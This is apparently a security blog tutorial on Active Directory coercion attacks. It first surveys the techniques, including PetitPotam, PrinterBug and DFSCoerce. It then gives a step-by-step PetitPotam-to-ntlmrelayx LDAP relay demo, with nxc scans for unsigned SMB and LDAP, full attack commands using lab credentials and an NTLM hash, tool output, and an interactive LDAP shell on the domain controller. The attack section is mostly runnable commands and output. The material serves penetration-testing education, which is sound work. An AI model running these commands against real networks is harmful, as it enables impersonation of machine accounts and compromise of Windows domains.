Post cover image

July 19, 2026

Active Directory Attacks — Coercion

By Osec

4 min read

A coercion attack is a technique that forces a remote system to authenticate to a destination chosen by the attacker. the attacker abuses legitimate functionality exposed by Windows services to induce the target into initiating an outbound authentication request.

Many Windows services expose Remote Procedure Call (RPC) interfaces that are designed to interact with remote resources as part of their normal operation. Some of these RPC methods accept a user-controlled remote server name or network path (typically a UNC path). By supplying the address of an attacker-controlled server instead of a legitimate resource, an attacker can cause the target service to establish an outbound connection, prompting Windows to automatically authenticate using the service's or computer account's security context. Although this authentication is entirely legitimate, the attacker has successfully coerced the target into sending it to an unintended destination, where it can be captured or relayed to another service as part of an authentication relay attack.

How Coercion Attacks Work

  1. The attacker connects to a Windows service that exposes a coercible RPC interface (e.g., Print Spooler, EFSRPC, or DFS Namespace).
  2. An RPC method is invoked with a parameter that specifies a remote resource, such as a UNC path (\\attacker\share) or another remote server name.
  3. The target service attempts to access the supplied resource as part of its legitimate functionality.
  4. Windows automatically authenticates to the specified server using the security context of the service, typically the computer account (HOSTNAME$), although some interfaces may authenticate as the calling user or another service account.
  5. The attacker receives the authentication, which can then be captured or, more commonly, relayed to another service to impersonate the coerced identity and perform authenticated actions.

Common Coercion Techniques

  • Printer Bug (MS-RPRN) Abuses the Print Spooler service's RpcRemoteFindFirstPrinterChangeNotification(Ex) method to force a target to authenticate to an attacker-controlled host.
  • PetitPotam (MS-EFSRPC) Exploits the Encrypting File System Remote Protocol (EFSRPC) by invoking methods such as EfsRpcOpenFileRaw() to coerce outbound authentication. Originally notable because it worked even when the Print Spooler service was disabled.
  • DFSCoerce (MS-DFSNM) Targets the Distributed File System Namespace Management (DFSNM) RPC interface by triggering the target to contact a remote DFS namespace hosted by the attacker.
  • ShadowCoerce (MS-FSRVP) Abuses the File Server Remote VSS Protocol (FSRVP) to induce a target system to authenticate to an attacker-controlled server during shadow copy operations.
  • RemotePotato0 (DCOM/OXID Resolver) Leverages DCOM activation and the OXID Resolver to redirect local privileged authentication, enabling NTLM relay under specific conditions.
  • PrivExchange (MS-Exchange) Exploits Microsoft Exchange's PushSubscription mechanism to coerce the Exchange server into authenticating to an attacker-controlled host.
  • SpoolSample One of the earliest public implementations of the Printer Bug, demonstrating how the Print Spooler service could be abused to trigger outbound authentication.
  • DFSCoerce-NG / New DFSNM Variants Newer research has identified additional methods within the DFS Namespace Management protocol that can also trigger outbound authentication.
  • EventLog Coercion / CheeseOunce (MS-EVEN) Abuses the EventLog Remote Protocol (MS-EVEN) RPC interface by invoking methods like ElfrOpenBELW. By passing a malicious UNC path into the BackupFileName parameter, it forces the target to establish an authenticated outbound connection to an attacker-controlled host.
  • Emerging RPC Coercion Vectors New coercion techniques continue to be discovered as researchers identify additional RPC interfaces and methods that can be abused to trigger outbound authentication.

Attack

Since all coercion techniques rely on the same underlying principle, we will demonstrate the attack using PetitPotam. We will force the target to authenticate to our attacker controlled machine and capture the resulting NTLMv2 authentication, illustrating how coercion can be used as the first step in an authentication relay attack.

Before targeting any system with a coercion attack, we must first identify services that are susceptible to NTLM relay.

Since coercion only generates an authentication, the attack is only useful if that authentication can be relayed to a service that does not enforce relay protections.

In practice, this means identifying targets where SMB or LDAP signing is disabled or not required, allowing the relayed NTLM authentication to be accepted.

identify targets where SMB signing is disabled or not required :

nxc smb 192.168.100.0/24
SMB                      192.168.100.1   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False)
SMB                      192.168.100.2   445    WEB01            [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:False)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

look for targets where that has (signing:False)

identify targets where ldap signing / channel binding is disabled or not required :

nxc ldap 10.129.202.0/24 -u 'htb-student_adm' -p 'Academy_student_DA!' -M ldap-checker

LDAP                     10.129.202.146  389    ACADEMY-EA-DC01  [*] Windows 10 / Server 2019 Build 17763 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL)
LDAP                     10.129.202.146  389    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\htb-student_adm:Academy_student_DA! (Pwn3d!)
LDAP-CHE...              10.129.202.146  389    ACADEMY-EA-DC01  LDAP signing NOT enforced
LDAP-CHE...              10.129.202.146  389    ACADEMY-EA-DC01  [-] Unexpected error during LDAPS handshake: [Errno 104] Connection reset by peer
LDAP-CHE...              10.129.202.146  389    ACADEMY-EA-DC01  [-] INLANEFREIGHT.LOCAL - TLS handshake failed; certificate likely not configured

look for targets that has LDAP signing NOT enforced or something like that.

demo:

In this demonstration, we will use PetitPotam to coerce the target WEB01 (192.168.100.2) into authenticating to our attacker-controlled machine, where ntlmrelayx is listening for incoming NTLM connections.

Upon receiving the authentication, ntlmrelayx will relay it to the Domain Controller (ldap://dc01.pirate.htb), specified with the -t option.

The -i flag instructs ntlmrelayx to expose an interactive LDAP shell upon a successful relay, allowing us to interact with the Domain Controller using the security context of the coerced computer account (WEB01$).

impacket-ntlmrelayx -t ldap://dc01.pirate.htb --remove-mic -smb2support -i

With our listener in place, we can now trigger the coercion by executing PetitPotam against WEB01.

If the attack is successful, the target will immediately initiate an outbound NTLM authentication, which will be received by ntlmrelayx and relayed to the configured LDAP service.

python3 PetitPotam.py -u 'gMSA_ADFS_prod$' -hashes :30e4066182bb2c81dcd950b2fbb16564 -d pirate.htb 10.10.15.148 192.168.100.2

Trying pipe lsarpc
[-] Connecting to ncacn_np:192.168.100.2[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

The relay is successful, and ntlmrelayx establishes an interactive LDAP shell using the security context of the WEB01$ computer account. We can connect to this session by using nc to the local listener on port 11000, allowing us to execute LDAP operations on the Domain Controller as WEB01$.

nc 127.0.0.1 11000
Type help for list of commands

# whoami
u:PIRATE\WEB01$

thank you for reading , i hope you've learned something new :)

Follow me on X : https://x.com/osec403